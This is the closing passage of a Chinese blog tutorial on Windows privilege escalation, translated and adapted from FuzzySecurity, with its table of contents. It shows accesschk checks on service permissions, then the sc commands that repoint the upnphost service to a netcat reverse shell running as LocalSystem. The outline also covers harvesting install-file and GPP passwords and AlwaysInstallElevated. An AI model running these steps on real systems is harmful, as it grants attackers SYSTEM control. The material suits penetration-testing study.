RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS

通过以上信息,我们能看到upnphost 具有很大的权限,下面我将演示一下如何实际应用这些信息来反弹 system shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService
C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
[SC] ChangeServiceConfig SUCCESS
C:\> sc config upnphost obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : LocalSystem
C:\> net start upnphost

下图列出了关于Windows 提权的一些介绍,任何这些访问权限都将给我们带来SYSTEM shell.

结语

以上大部分都是根据外文翻译过来的,然后我做了适当修改,再次感谢大哥@hl0rey 的建议和帮助,下一篇文章将是我自己的思路总结,将会更有趣也更加容易操作!!

文章目录
  1. 1. 序言
    1. 1.0.1. 本篇教程是笔者翻译国外大牛fuzzysecurity 的文章再加上个人的理解写出的关于Windows 提权基础的文章,其中有些地方因为不太实用所以做了适当修改,感谢@hl0rey 的帮助和建议。
    2. 1.0.2. Indispensable Resources:
  • 2. Δt for t0 to t3 - Initial Information Gathering
    1. 2.0.1. 这个教程从Windows 的低权限shell 开始讲述如何提权。我们可能利用某个EXP 或者从客户端攻击取得了一个反弹shell 。最开始我们还不了解这台计算机,不知道它是干什么用的,连接到哪里,有什么等级的权限或者甚至不知道它是什么操作系统。
    2. 2.0.2. 最初我们希望快速的收集一些重要的信息,以便我们能够评估我们所处的状况,并作出正确的判断!
    3. 2.0.3. 首先查看连接的是什么操作系统:
    4. 2.0.4. 接下来查看主机名和当前shell 的用户名:
    5. 2.0.5. 现在我们已经有了基本信息,让我们继续列出其他的用户账号名并查看我们自己更详细的信息。能够看到我们的账号user1 不在localgroup Administrators 中,不是管理员账号。
    6. 2.0.6. 以上就是我们目前需要了解的用户和权限信息。接下来我们查看网络配置信息。
    7. 2.0.7. 首先我们查看可用的网卡和路由表
    8. 2.0.8. 下面使用netstat 命令查看主机的网络连接和防火墙规则
    9. 2.0.9. 最后我们简单的看看主机运行的内容:计划任务、正在运行的进程、已经启动的服务和已经安装的驱动
  • 3. Δt for t4 - The Arcane Arts Of WMIC
    1. 3.0.1. 我想要单独提及一下WMIC (Windows Management Instrumentation Command-Line) ,因为它是Windows最有用的命令行工具。WMIC 对于信息收集和后渗透来说非常有用。不过这个工具比较重量级,所以不会一一介绍它的所有功能。
    2. 3.0.2. 下面链接有关于它的详细使用教程,有兴趣的可以去自己翻译看看:
    3. 3.0.3. 令人遗憾的是有些Windows的默认配置不允许使用WMIC,除非用户是在管理员组里面。从对VMIC 的测试中我注意到任何版本的XP 系统都不允许低权限账号使用WMIC。相反,默认安装的Windows 7 Professional 和Windows 8 企业版却允许使用低权限账号使用WMIC 来查询系统信息而不需要修改任何设置。惊不惊喜,意不意外?
    4. 3.0.4. 为了简化操作,贡献社会,方便大家,我写了一个自动化脚本,它将利用VMIC 收集以下信息:进程,服务,用户帐户,用户组,网络接口,硬盘驱动器信息,网络共享信息,已安装的Windows 补丁程序,启动时运行的程序,已安装软件列表,操作系统和时区信息。
    5. 3.0.5. 你可以从这里下载我的脚本
    6. 3.0.6. 你也可以从这里下载我利用脚本收集的信息样本
  • 4. Δt for t5 to t6 - Quick Fails
    1. 4.0.1. 继续后续步骤之前,你应该花一点时间回顾以下刚才所收集到的信息,因为现在我们已经得到操作系统大量的有用信息了.
    2. 4.0.2. 尽管已经通过我的WMIC 脚本收集到主机的补丁信息了,但是我们仍然可以通过下面的命令来手动收集。
    3. 4.0.3. 提权的EXP 就那么几个,可以查看一下系统是否打有相关漏洞的补丁,没打补丁就嘿嘿嘿了,常见的EXP有这些:,大家可以下载对应版本的Windows 试试这些EXP。
    4. 4.0.4. 下一个情景是如果某个环境中有大量的机器需要被安装,那么技术人员通常不会一个接一个机器的去安装,他们通常会选择自动化安装,这就可能会遗留下安装过程的配置文件,这些配置文件中会包含许多敏感信息,例如管理员账号密码,如果能得到这些信息将极大的帮助我们提权。
    5. 4.0.5. 通常这些敏感文件会出现在下面目录中:
    6. 4.0.6. 这些配置文件极可能包含明文密码,也可能会出现base64 编码的情况,下面是一些配置文件的事例:
    7. 4.0.7. GPO 首选项文件可用于在域计算机上创建本地用户,当你控制的主机连接在域中时,那么就非常值得去看看存储在SYSVOL 中的Groups.xml 文件,任何经过身份认证的用户都可以读取该文件。尽管xml 文件中的密码通过使用AES 加密来保证安全性,但是通过msdn 发布的静态密钥可以很轻松的解密。
    8. 4.0.8. 除了Groups.xml 以外,其他几个策略首选项文件也可能存在 “cPassword” 属性
    9. 4.0.9. 如下所示,可以通过手动浏览SYSVOL并获取相关文件来利用此漏洞。
    10. 4.0.10. 除了上面手动查找首选项文件之外,我们也可以利用自动化工具来帮助我们达到目的。
    11. 4.0.11. 接下来我们要查找一个奇怪的注册表设置 “AlwaysInstallElevated” , 如果启动此设置,它会允许任何用户将 *.msi 文件安装为NT AUTHORITY \ SYSTEM 。
    12. 4.0.12. 为了能够利用这个,我们需要检查两个注册表项是否已经设置,如果在这种情况下我们能够弹出 SYSTEM shell. 通过下面的命令可以查看注册表项是否启动。不过笔者测试时发现自己的Windows7 并没有这两个键值。
    13. 4.0.13. 最后我们也可能通过下面的命令来挖到未知的宝藏
  • 5. Δt for t7 to t10 - Roll Up Your Sleeves
    1. 5.0.1. 希望到目前为止我们已经成功提权,如果确实还没有成功提权的话下面还有一些攻击方法。在这最后一部分,我们会查看Windows 服务和文件/文件夹 权限,我们的目的是利用弱权限来进行提权。当然这里最主要是针对Windows XP 系统
    2. 5.0.2. 接下来我们将利用一个Windows中大神级的工具集Sysinternals Suite 中的accesschk.exe 来批量检查权限信息,读者可以从这里下载这个工具集
    3. 5.0.3. 接下来我们从Windows 的服务开始,通过重新配置service 的参数能够让我们快速达到目的。
    4. 5.0.4. 我们也可以使用accesschk 来检查每个服务的权限级别
    5. 5.0.5. Accesschk 能够自动检查在某个用户等级下我们对于Windows 服务是否具有写入权限。作为一个低权限的用户,我们通常会想要去检查 “Authenticated Users” 。
    6. 5.0.6. 咱们来比较一下在Windows 8 和 Windows XP SP0 中输出的不同,
    7. 5.0.7. 通过以上信息,我们能看到upnphost 具有很大的权限,下面我将演示一下如何实际应用这些信息来反弹 system shell
    8. 5.0.8. 下图列出了关于Windows 提权的一些介绍,任何这些访问权限都将给我们带来SYSTEM shell.
  • 6. 结语
    1. 6.0.1. 以上大部分都是根据外文翻译过来的,然后我做了适当修改,再次感谢大哥@hl0rey 的建议和帮助,下一篇文章将是我自己的思路总结,将会更有趣也更加容易操作!!
  • |